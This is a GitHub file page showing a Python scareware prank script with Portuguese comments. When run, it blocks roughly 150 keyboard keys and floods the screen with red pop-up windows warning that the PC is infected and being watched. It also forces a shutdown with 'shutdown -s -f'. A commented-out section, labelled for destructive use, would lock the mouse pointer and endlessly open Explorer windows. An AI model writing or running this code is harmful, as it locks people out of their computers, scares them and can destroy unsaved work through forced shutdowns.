This repository was archived by the owner on Aug 12, 2026. It is now read-only.
-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathscript.py
More file actions
102 lines (79 loc) · 2.04 KB
/
Copy pathscript.py
File metadata and controls
102 lines (79 loc) · 2.04 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
import pyautogui as pg
import tkinter as tk
import threading
import keyboard
import random
import time
import os
# NÃO TIRE DE COMENTÁRIO SE NÃO FOR USAR COM CERTEZA PARA FINS DESTRUTIVOS
'''
def parar_ponteiro():
pg.PAUSE = 0
while True:
pg.FAILSAFE = False
pg.moveTo(0, 0)
def abrir_abas():
pg.PAUSE = 0
while True:
pg.hotkey("win", "e")
parar_ponteiro()
abrir_abas()
'''
def block_teclas():
for i in range(150):
keyboard.block_key(i)
block_teclas()
# Lista de frases que serão exibidas aleatoriamente
frases_alerta = [
"ALERTA!",
"CUIDADO!",
"SEU PC FOI INFECTADO!",
"PERIGO!",
"JÁ ERA.",
"VOCÊ FOI AVISADO!",
"ISSO É SÉRIO!",
"ESCAPE SE PUDER!",
"OLHE PARA TRÁS!",
"VOCÊ ESTÁ SENDO OBSERVADO!",
"=)",
"=("
]
def abrir_aviso_aleatorio():
numero = random.randint(0, 5)
while True:
if numero == 3:
pg.alert(text='Ainda usando o PC?', title='', button='OK')
time.sleep(2)
def mostrar_alerta():
root = tk.Tk()
root.withdraw() # Oculta a janela principal
alerta = tk.Toplevel()
alerta.title("HAHAHAHA")
alerta.configure(bg='red')
largura_tela = alerta.winfo_screenwidth()
altura_tela = alerta.winfo_screenheight()
largura_alerta = 200
altura_alerta = 100
x = random.randint(0, largura_tela - largura_alerta)
y = random.randint(0, altura_tela - altura_alerta)
alerta.geometry(f"{largura_alerta}x{altura_alerta}+{x}+{y}")
# Escolhe uma frase aleatória da lista
frase = random.choice(frases_alerta)
label = tk.Label(
alerta,
text=frase,
font=("Arial", 18),
fg="white",
bg="red",
wraplength=180,
justify="center"
)
label.pack(expand=True)
alerta.after(1000, alerta.destroy)
os.system('shutdown -s -f -t 7 -c "Seu PC será desligado :)"')
root.mainloop()
def loop_alertas():
while True:
threading.Thread(target=mostrar_alerta).start()
time.sleep(0.01)
loop_alertas()